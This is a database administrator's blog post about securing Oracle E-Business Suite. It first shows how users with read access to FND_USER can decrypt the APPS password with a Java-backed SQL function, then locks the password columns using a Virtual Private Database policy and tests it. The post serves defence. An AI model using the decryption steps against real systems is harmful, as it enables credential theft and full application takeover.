OracleClass
E-Business suite : Secure APPS using Oracle VPD
admin
December 5, 2018
8:45 am

During a database check of one production environment , I found several DB users (not part of our DBA Team) having select access to ALL EBS R12 APPS schema tables.

Those users need to access to FND_* Tables for audit purposes. The issue : those users can see all encrypted application passwords from FND_USER table and thus can guess APPS password and gain more access on the application. The Oracle E-Business suite ‘APPS’ user is the most powerful application user who can see every
table in the database and run every EBS API, start/stop application, etc …

First, I need to show to the DBA team the current security hole in the environment and convince them to make changes on the current configuration. I selected one of the audit database user called “AUDUSER”, I don’t know their password so I used my own login (Wissem) as a proxy user and connect through AUDUSER user.

SQL> Alter user AUDUSER grant connect through wissem;  
 User altered  
SQL> conn wissem[AUDUSER]/*****@liveDB  
Connected to Oracle Database 11g Enterprise Edition Release 11.2.0.3.0   
Connected as wissem[AUDUSER]  
   
SQL> show user  
User is "wissem[AUDUSER]"  
   
SQL> SELECT sys_context('USERENV', 'CURRENT_SCHEMA') FROM DUAL;  
   
SYS_CONTEXT('USERENV','CURRENT 
-------------------------------------------------------------------------------- 
AUDUSER 
  
SQL>  
 
SQL> select  sys_context('USERENV','SID')  from dual; 
  
SYS_CONTEXT('USERENV','SID')  
--------------------------------------------------------------------------------  
577  
   
SQL> SELECT username , schemaname FROM v$session WHERE SID=577;  
   
USERNAME                       SCHEMANAME  
------------------------------ ------------------------------  
AUDUSER                         AUDUSER

Now, I can connect via user “AUDUSER”, I query the FND_USER table to see encrypted password for GUEST User;

    SQL> select ENCRYPTED_FOUNDATION_PASSWORD from apps.fnd_user where USER_NAME='GUEST';  
       
    ENCRYPTED_FOUNDATION_PASSWORD  
    --------------------------------------------------------------------------------  
    ZH954C8C1FD97*******06CCF44CF

Create a function to decrypt the apps password;

create FUNCTION apps.decrypt_pin_func(in_chr_key IN VARCHAR2,in_chr_encrypted_pin IN VARCHAR2)  
RETURN VARCHAR2  
AS  
LANGUAGE JAVA NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';  
 /  
Function created.

Query the function to get APPS password in clear;

SQL> SELECT apps.decrypt_pin_func('GUEST/GUEST','ZH954C8C1FD97*******06CCF44CF') from dual;  
   
APPS.DECRYPT_PIN_FUNC('GUEST/G  
--------------------------------------------------------------------------------  
CLEARPWD

ok, so the APPS password is “CLEARPWD”. The user “AUDUSER” can now connect as APPS user and access to all remaining EBS API, tables , etc …

The solution is to use Oracle Virtual Private Database to Control Data Access on Columns and rows;
more information can be found on: VPD 11gR2

First, let’s make an FGA audit to know which application user is accessing to the FND_USER table when application starts;

-- FGA Audit FND_USER table.  
BEGIN  
  DBMS_FGA.add_policy(  
    object_schema   => 'APPLSYS',  
    object_name     => 'FND_USER',  
    policy_name     => 'FND_USER_AUDIT',  
    audit_condition => NULL, -- Equivalent to TRUE  
    audit_column    => NULL,  
    statement_types => 'SELECT,INSERT,UPDATE,DELETE');  
END;

so from FGA audit tables (SELECT DB_USER FROM dba_fga_audit_trail GROUP BY DB_USER;), I see those users (‘APPS’,’GUEST’,’APPLSYS’,’APPLSYSPUB’) need to access to FND_USER table so EBS application can work without issues;

Now we know which core application schemas need to access to FND_USER table, We drop FGA audit policy;

BEGIN  
  DBMS_FGA.drop_policy(  
    object_schema   => 'APPLSYS',  
    object_name     => 'FND_USER',  
    policy_name     => 'FND_USER_AUDIT');  
END;

Create a simple function to allow application users ; a Column-Level Oracle Virtual Private Database Policy;

CREATE OR REPLACE FUNCTION WISSEM.VPD_JOB(OOWNER IN VARCHAR2,  
                                              OJNAME IN VARCHAR2)  
  RETURN VARCHAR2 AS  
  CON VARCHAR2(200);  
BEGIN  
  IF SYS_CONTEXT('USERENV', 'SESSION_USER') NOT IN ( 'APPS','GUEST','APPLSYS','APPLSYSPUB') THEN  
    CON := 'USER_NAME IS  NULL';  
  END IF;  
  RETURN(CON);  
END VPD_JOB;

Use DBMS_RLS package to add the policy to the table FND_USER;

BEGIN  
  DBMS_RLS.ADD_POLICY (object_schema         => 'APPLSYS',  
                       object_name           => 'fnd_user',  
                       policy_name           => 'fnd_user_vpd_job',  
                       function_schema       => 'WISSEM',  
                       policy_function       => 'vpd_job',  
                       sec_relevant_cols     => 'encrypted_foundation_password,encrypted_user_password',  
                       sec_relevant_cols_opt => DBMS_RLS.ALL_ROWS);  
END;

In case you need to drop the policy, just run;

BEGIN  
  DBMS_RLS.DROP_POLICY (object_schema     => 'APPLSYS',  
                        object_name       => 'fnd_user',  
                        policy_name       => 'fnd_user_vpd_job');  
END;

Let’s now perform a test and see if a user other than ‘APPS’,’GUEST’,’APPLSYS’ and ‘APPLSYSPUB’ can access to encrypted_foundation_password,encrypted_user_password columns in FND_USER table;

/home/oracle>sqlplus  
  
SQL*Plus: Release 11.2.0.3.0 Production on Tue Aug 5 05:32:26 2014  
  
Copyright (c) 1982, 2011, Oracle.  All rights reserved.  
  
Enter user-name: wissem  
Enter password:  
  
Connected to:  
Oracle Database 11g Enterprise Edition Release 11.2.0.3.0 - 64bit Production  
With the Partitioning, Automatic Storage Management, OLAP, Data Mining  
and Real Application Testing options  
  
WISSEM SQL> SELECT 1 FROM APPS.FND_USER WHERE USER_NAME = 'GUEST' AND ( encrypted_foundation_password IS NOT NULL OR encrypted_user_password IS NOT NULL);  
  
no rows selected  
  
WISSEM SQL>  SELECT 1 FROM APPS.FND_USER WHERE ( encrypted_foundation_password IS NOT NULL OR encrypted_user_password IS NOT NULL);  
  
no rows selected  
  
WISSEM: SQL> exit  
Disconnected from Oracle Database 11g Enterprise Edition Release 11.2.0.3.0 - 64bit Production  
With the Partitioning, Automatic Storage Management, OLAP, Data Mining  
and Real Application Testing options  
/home/oracle>sqlplus  
  
SQL*Plus: Release 11.2.0.3.0 Production on Tue Aug 5 05:33:45 2014  
  
Copyright (c) 1982, 2011, Oracle.  All rights reserved.  
  
Enter user-name: apps  
Enter password:  
  
Connected to:  
Oracle Database 11g Enterprise Edition Release 11.2.0.3.0 - 64bit Production  
With the Partitioning, Automatic Storage Management, OLAP, Data Mining  
and Real Application Testing options  
  
APPS SQL> SELECT 1 FROM APPS.FND_USER WHERE USER_NAME = 'GUEST' AND ( encrypted_foundation_password IS NOT NULL OR encrypted_user_password IS NOT NULL);  
  
         1  
----------  
         1  
  
APPS SQL>  SELECT DISTINCT 1 FROM APPS.FND_USER WHERE ( encrypted_foundation_password IS NOT NULL OR encrypted_user_password IS NOT NULL);  
  
         1  
----------  
         1
Category : Business